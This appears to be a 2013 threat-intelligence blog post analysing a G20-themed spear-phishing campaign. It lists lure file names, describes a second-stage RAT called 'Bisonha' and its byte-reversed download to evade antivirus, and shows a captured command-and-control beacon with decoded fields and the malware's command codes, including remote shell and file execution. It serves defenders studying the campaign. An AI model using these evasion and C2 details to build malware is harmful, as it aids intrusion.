More on the G20 Summit Espionage Operation
On a recent blog post, Claudio Guarnieri analyzes an APT attack campaign launched by the "Calc Group".
This group of attackers used the soon-coming "G20 Summit" to spear phish their targets. which are mostly financial institutions and governments. The attack in itself is really not sophisticated, it is just made of an archive file (.ZIP) containing a malicious executable file (.EXE).
The names of the zip files are:
- G20 Briefing Papers.zip
- G20 Summit Paper.zip
These archives contains the following files:
- G20 Discussion Paper.exe
- GPFI Work Plan 2013.exe
- G20 Summit Improving global confidence and support the globa.EXE
- Improving global confidence and support.pdf.exe
- The list of NGOs representatives accredited at the Press Center of The G20 Leaders' Summit 2013.pdf.exe
One might be surprised that people really do open such zip files and click on these executables, but believe me, some people still do. Once again, it shows us that it is not necessary to deploy brilliant strategies to infect people with targeted malware.
Claudio makes a great analyse of these attacks in his blog post, so I won't write about it and let you read it instead. Now what I wanted to know was what happened next. I was especially interested in the second attack, because it had been submitted to Virus Total (VT) from France.
To summarize Claudio's analysis, the attack scheme goes like this :
- The victim gets the zip file, opens it, and executes the malicious executable.
- The executable shows a decoy document (PDF) about the G20 or such.
- The executable starts keylogging and downloads more malware.
This last point is very important to me: what malware is downloaded, and why? (the "why" can be expected though...)
To quote Claudio, "these samples are just an initial stage of a larger suite of malware, possibly including Aumlib and Ixeshe, which it will try to download from a fixed list of URLs embedded in the binary".
Luckily enough, the second stage malware was still available and I could download it for analysis. It turns out that it is not an "AumLib" or an "Ixeshe", but a variant of a less known malware, called "Bisonha" by the malware researcher's community.
To bypass anti-virus and IDS/IPS products, it is downloaded "upside down" (the first byte becomes the last byte, etc.) and written locally as a regular executable once it is downloaded successfully, then executed.
The file shows a "Java" icon, to try to look more "legitimate" to users. At the time of writing, the sample I downloaded had not been submitted to Virus Total, so I did. The detection rate for this sample is 12/46.
This malware has no persistence mechanism (the first stage downloader makes it persistent), and once executed starts communicating with an IP address 220.127.116.11 on port 443:
GET /300100000000F0FD1F003746374637433731333433363334333600484F4D45000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000070155736572000000000000000000000000000000000000000000000000000000000000000000006444000000000000000000000000000000000000000000 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322) Host: 18.104.22.168 Connection: Keep-Alive Cache-Control: no-cache
As you can see, the network traffic is on port 443 (HTTPS) but it is definitely no HTTPS traffic, rather hex-encoded data:
0000000: 0000 0000 f0fd 1f00 3746 3746 3743 3731 ........7F7F7C71 0000010: 3334 3336 3334 3336 0048 4f4d 4500 0000 34363436.HOME... 0000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000050: 0000 0000 0000 0000 0007 0155 7365 7200 ...........User. 0000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000080: 0064 4400 0000 0000 0000 0000 0000 0000 .dD............. 0000090: 0000 0000 0000 0000 ........
My reverse engineering rockstar friend Fabien Perigaud had a closer look at the malware and provided me with more information:
Offset: 0x4: RAM size in kilobytes
Offset: 0x8: Hard-drive ID, xored with the machine name then hex-encoded
Offset: 0x19: Machine name
Offset: 0x59: Operating system version (in malware author's writing)
Offset: 0x60: Number of processors
Offset: 0x61: User name
Offset: 0x81: A unique identifier (probably used as a campaign identifier?) - Here it is "dD" but other two characters identifiers have been witnessed in the wild.
The commands which can be sent to the malware are sent in answer:
3004: File writing 3005: File reading 3006: Writing and execution of a file 3115 : provide a shell 3222 : write a new ID in %APPDATA%\recycle.ini 3223 : auto deletion of the malware 3224 : update
This quick analysis shows us that no matter how deep your knowledge is about an attacker, you're never safe from seeing him change his methods completely. That is why APT attacks attribution is such a hard task.
Thanks to Fabien, Jesse, Brian and Ned for the help while writing this small post ;-)
EDIT: (2013/09/04) Satnam Narang from Symantec just posted interesting material about the same APT campaign. You can read it here. In few words, Poison Ivy RAT is also in the game ;)